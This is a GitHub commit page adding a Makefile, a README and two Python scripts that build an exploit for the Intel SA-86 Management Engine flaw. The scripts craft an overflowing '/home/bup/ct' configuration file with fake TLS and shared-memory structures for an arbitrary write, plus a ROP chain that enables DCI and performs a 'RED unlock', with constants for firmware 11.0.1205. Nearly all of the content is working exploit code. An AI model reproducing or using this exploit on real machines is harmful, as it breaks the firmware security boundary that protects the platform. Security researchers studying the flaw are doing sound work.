-
Notifications
You must be signed in to change notification settings - Fork 4
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 9daa78f
Showing
4 changed files
with
267 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
MFS_TEMPL=AFS_region_400K.bin | ||
MFSTOOL=mfstool | ||
MEREGIONTOOL=meregiontool | ||
MECONFIGTOOL=meconfigtool | ||
REGION_DIR=region | ||
ROPS_BASE=379784 | ||
|
||
extract: | ||
$(MEREGIONTOOL) x clean_rom.bin $(REGION_DIR) | ||
# You could also extract the ROM here | ||
|
||
rom_image.bin: meregion.bin input_rom.bin | ||
cp input_rom.bin $@ | ||
dd conv=notrunc seek=3 bs=4096 if=meregion.bin of=$@ | ||
|
||
expl/rops.bin: sa86_rops.py | ||
./sa86_rops.py $@ | ||
|
||
fitc/home/bup/ct: expl/rops.bin sa86_arb_wr.py | ||
./sa86_arb_wr.py $(ROPS_BASE) expl/rops.bin $@ | ||
|
||
mfs/intel.cfg: $(shell find intel_cfg -type f) | ||
$(MECONFIGTOOL) c $@ intel_cfg | ||
|
||
mfs/fitc.cfg: fitc/home/bup/ct $(shell find fitc -type f) | ||
$(MECONFIGTOOL) c $@ fitc | ||
|
||
region/MFS.mep: $(MFS_TEMPL) mfs/intel.cfg mfs/fitc.cfg | ||
rm -f region/MFS.mep | ||
$(MFSTOOL) c $@ $(MFS_TEMPL) mfs | ||
|
||
meregion.bin: $(shell find $(REGION_DIR) -type f) | ||
$(MEREGIONTOOL) c $@ $(REGION_DIR) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
Make sure you have this in your path: | ||
https://pbx.sh/meimagetool-fragment.tar.gz | ||
|
||
You can extract the binaries from an image by running | ||
# save your ME region as clean_rom.bin | ||
make extract | ||
|
||
If you want to use a newly created ME region (by FITC) you can directly extract | ||
your MFS using | ||
mfstool x region/MFS.mep mfs | ||
meconfigtool x mfs/intel.cfg intel_cfg | ||
meconfigtool x mfs/fitc.cfg fitc_cfg | ||
|
||
Otherwise, grab your ME region and extract this in your homedir | ||
https://pbx.sh/config_spt_lp.tar.gz | ||
|
||
You will also need the AFS_region_400K.bin file which is a resource in Intel's | ||
Flash Image Tool | ||
|
||
The constants in this repo are set for firmware 11.0.1205, but adapting them | ||
should be easy once I publish my writeup. | ||
|
||
This image will not boot, but it will enable debugging. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,191 @@ | ||
#!/usr/bin/env python3 | ||
|
||
import sys | ||
import os | ||
import io | ||
import argparse | ||
|
||
def filesz( f ): | ||
return os.path.getsize( f.name ) | ||
|
||
def round4k( i ): | ||
return (i + 4095) & 0xFFFFF000 | ||
|
||
def read_f( f, p, n ): | ||
f.seek(p) | ||
return f.read( n ) | ||
|
||
def read_a( f, n ): | ||
b = f.read(n) | ||
return int.from_bytes( b, byteorder='little' ) | ||
|
||
def read_a32( f ): | ||
return read_a( f, 4 ) | ||
|
||
def read_a16( f ): | ||
return read_a( f, 2 ) | ||
|
||
def read_r32( f ): | ||
r = read_a32( f ) | ||
return ( r + f.tell() ) & 0xFFFFFFFF | ||
|
||
def ver_sig( f, n, sig ): | ||
b = f.read( len( sig ) ) | ||
if b != sig: | ||
print( "sig mismatch for: ", n, ": ", b ) | ||
sys.exit(255) | ||
|
||
def write_u( f, n, v ): | ||
b = v.to_bytes(n, byteorder='little') | ||
f.write( b ) | ||
|
||
def blki( a ): | ||
return a // 64 | ||
|
||
def blko( a ): | ||
return a % 64 | ||
|
||
parser = argparse.ArgumentParser( | ||
description="Generate exploit \"/home/bup/ct\" file for Intel SA-86" | ||
) | ||
|
||
parser.add_argument( | ||
'address', | ||
metavar="address", | ||
type=int, | ||
help="The address to write the payload to") | ||
|
||
parser.add_argument( | ||
'input', | ||
metavar="payload", | ||
type=argparse.FileType("rb"), | ||
help="The payload to drop") | ||
|
||
parser.add_argument( | ||
'output', | ||
metavar="output", | ||
type=argparse.FileType("wb"), | ||
help="The path to write the output to.") | ||
|
||
parser.add_argument( | ||
'--stack', | ||
'-s', | ||
type=int, | ||
default=0x5d000, | ||
help="The stack top address for the program") | ||
|
||
parser.add_argument( | ||
'--tid', | ||
'-t', | ||
type=int, | ||
default=0x3000300, | ||
help="The thread ID for the target program (default is BUP)") | ||
|
||
parser.add_argument( | ||
'--ctdepth', | ||
'-d', | ||
type=int, | ||
default=0x380, | ||
help="The stack depth of the overflowed variable") | ||
|
||
parser.add_argument( | ||
'--errno', | ||
'-e', | ||
type=int, | ||
default=0, | ||
help="The errno to inject in the fake TLS") | ||
|
||
|
||
ns = parser.parse_args() | ||
|
||
stack_base = ns.stack | ||
ct_stack_off = -ns.ctdepth | ||
errno = ns.errno | ||
thread_id = ns.tid | ||
tls_size = 0x14 | ||
tls_addr = stack_base - tls_size | ||
ct_base_addr = stack_base + ct_stack_off | ||
ct_hdr_size = 0x8 | ||
shm_ctx_size = 0x35 | ||
shm_ctx_off = 0x68 | ||
shm_hdr_size = 0xD | ||
payload_data = ns.input.read() | ||
payload_size = len(payload_data) | ||
target_addr = ns.address | ||
f = ns.output | ||
payload_pad = 64 | ||
|
||
print("-------------------------------") | ||
print(" Payload details ") | ||
print("-------------------------------") | ||
print("payload_size: %8X"%payload_size) | ||
print("target_addr: %8X"%target_addr) | ||
print("") | ||
print("-------------------------------") | ||
print(" Target details ") | ||
print("-------------------------------") | ||
print("stack_base: %8X"%stack_base) | ||
print("ct_stack_off: -%8X"%(-ct_stack_off)) | ||
print("ct_base_addr: %8X"%ct_base_addr) | ||
print("shm_ctx_off: %8X"%shm_ctx_off) | ||
|
||
if blki(tls_addr - ct_base_addr) != blki(stack_base - 1 - ct_base_addr): | ||
print("warning: TLS crosses block boundary, exploit might not work!") | ||
|
||
if blko(stack_base) != 0: | ||
print("warning; gap between TLS and arbitrary write block") | ||
print(" overflow will thrash heap!") | ||
|
||
sysctx_base = tls_addr - shm_ctx_off - shm_ctx_size | ||
shmhdr_base = tls_addr - shm_hdr_size | ||
shmhdr_off = shmhdr_base - ct_base_addr | ||
shmblk_cnt = ((shmhdr_off - ct_hdr_size) // 0x14) | ||
shmblk_end = shmhdr_base | ||
shmblk_base = shmblk_end - shmblk_cnt * 0x14 | ||
shmblk_off = shmblk_base - ct_base_addr | ||
pad_size = shmblk_off - ct_hdr_size | ||
target_wrad = target_addr + ct_stack_off - payload_pad | ||
|
||
print("sysctx_base: %8X"%sysctx_base) | ||
print("shmhdr_base: %8X"%shmhdr_base) | ||
print("shmhdr_off: %8X"%shmhdr_off) | ||
print("shmblk_off: %8i"%shmblk_off) | ||
print("shmblk_base: %8X"%shmblk_base) | ||
print("shmblk_cnt: %8i"%shmblk_cnt) | ||
print("shmblk_end: %8X"%shmblk_end) | ||
print("target_wrad: %8X"%target_wrad) | ||
print("shmbuf_size: %8X"%(payload_size - ct_stack_off)) | ||
print("pad_size: %8X"%pad_size) | ||
|
||
def write_ct_hdr( f, unk0, unk1, count ): | ||
write_u( f, 4, unk0 ) | ||
write_u( f, 2, unk1 ) | ||
write_u( f, 2, count ) | ||
|
||
def write_tls( f, syslib_ctx, errno, gtid, stack_base ): | ||
write_u( f, 4, 0 ) | ||
write_u( f, 4, syslib_ctx) | ||
write_u( f, 4, errno) | ||
write_u( f, 4, gtid) | ||
write_u( f, 4, stack_base - 4) | ||
|
||
def write_shm_hdr( f, blocks, nblocks ): | ||
write_u( f, 4, blocks ) | ||
write_u( f, 4, nblocks ) | ||
write_u( f, 4, 0 ) | ||
write_u( f, 1, 0 ) | ||
|
||
def write_shm_blk( f, flags, buf, size ): | ||
write_u( f, 4, flags ) # 00 | ||
write_u( f, 4, buf ) # 04 | ||
write_u( f, 4, size ) # 08 | ||
write_u( f, 4, 0 ) # 0C | ||
write_u( f, 4, 0 ) # 10 | ||
write_ct_hdr( f, 0, 0, 0 ) | ||
f.write( b"\0" * pad_size ) | ||
for i in range( 0, shmblk_cnt ): | ||
write_shm_blk( f, 1, target_wrad, payload_size + payload_pad - ct_stack_off ) | ||
write_shm_hdr( f, shmblk_base, shmblk_cnt ) | ||
write_tls( f, sysctx_base, errno, thread_id, stack_base ) | ||
f.write( b"\0" * payload_pad ) | ||
f.write( payload_data ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
#!/usr/bin/env python3 | ||
|
||
import sys | ||
import os | ||
import io | ||
|
||
def write_u( f, n, v ): | ||
b = v.to_bytes(n, byteorder='little') | ||
f.write( b ) | ||
|
||
|
||
a = open(sys.argv[1],"wb") | ||
|
||
write_u( a, 4, 0x515cc ) # enable_dci_by_strap() | ||
write_u( a, 4, 0x11b9 ) # write_seg_32 | ||
write_u( a, 4, 0x50bed ) # pop 3 args | ||
write_u( a, 4, 0x0010f ) # write_seg_32 arg 0 : Segment selector 0x10F | ||
write_u( a, 4, 0x00000 ) # write_seg_32 arg 1 : Offset 0 | ||
write_u( a, 4, 0x00003 ) # write_seg_32 arg 2 : Value 3 ( RED unlock ) | ||
write_u( a, 4, 0x12757 ) # infinite loop |